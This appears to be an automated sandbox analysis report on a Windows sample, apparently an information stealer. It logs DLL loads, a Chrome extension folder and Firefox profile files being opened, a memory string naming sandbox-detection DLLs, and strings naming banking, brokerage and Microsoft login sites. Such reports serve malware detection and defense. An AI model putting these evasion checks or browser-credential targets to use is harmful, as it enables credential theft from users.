Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6724 --field-trial-handle=2372,i,18180584647005006012,17580123923500325599,262144 /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Section loaded: uxtheme.dll	Jump to behavior

Source: C:\Users\user\Desktop\mtbkkesfthae.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: mtbkkesfthae.exe

Static PE information: section name: .00cfg

Source: mtbkkesfthae.exe

Static PE information: section name: .text entropy: 6.827864387265423

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: mtbkkesfthae.exe

Binary or memory string: <EABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/%HSWPESPY.DLLAVGHOOKX.DLLSBIEDLL.DLLSNXHK.DLLVMCHECK.DLLDIR_WATCH.DLLAPI_LOG.DLLPSTOREC.DLLAVGHOOKA.DLLCMDVRT64.DLLCMDVRT32.DLLIMAGE/JPEGCHAININGMODEAESCHAININGMODEGCMABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=UNKNOWN EXCEPTIONBAD ALLOCATION4@

Source: C:\Users\user\Desktop\mtbkkesfthae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: DHJJEG.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: DHJJEG.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: DHJJEG.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: DHJJEG.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: DHJJEG.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: DHJJEG.0.dr	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: DHJJEG.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: DHJJEG.0.dr	Binary or memory string: AMC password management pageVMware20,11696492231
Source: DHJJEG.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: DHJJEG.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: DHJJEG.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: DHJJEG.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: DHJJEG.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: DHJJEG.0.dr	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: DHJJEG.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: DHJJEG.0.dr	Binary or memory string: discord.comVMware20,11696492231f
Source: DHJJEG.0.dr	Binary or memory string: global block list test formVMware20,11696492231
Source: DHJJEG.0.dr	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: DHJJEG.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: DHJJEG.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: DHJJEG.0.dr	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: DHJJEG.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: DHJJEG.0.dr	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: DHJJEG.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: DHJJEG.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: DHJJEG.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: DHJJEG.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: DHJJEG.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: DHJJEG.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: DHJJEG.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: DHJJEG.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\mtbkkesfthae.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\mtbkkesfthae.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js VolumeInformation	Jump to behavior
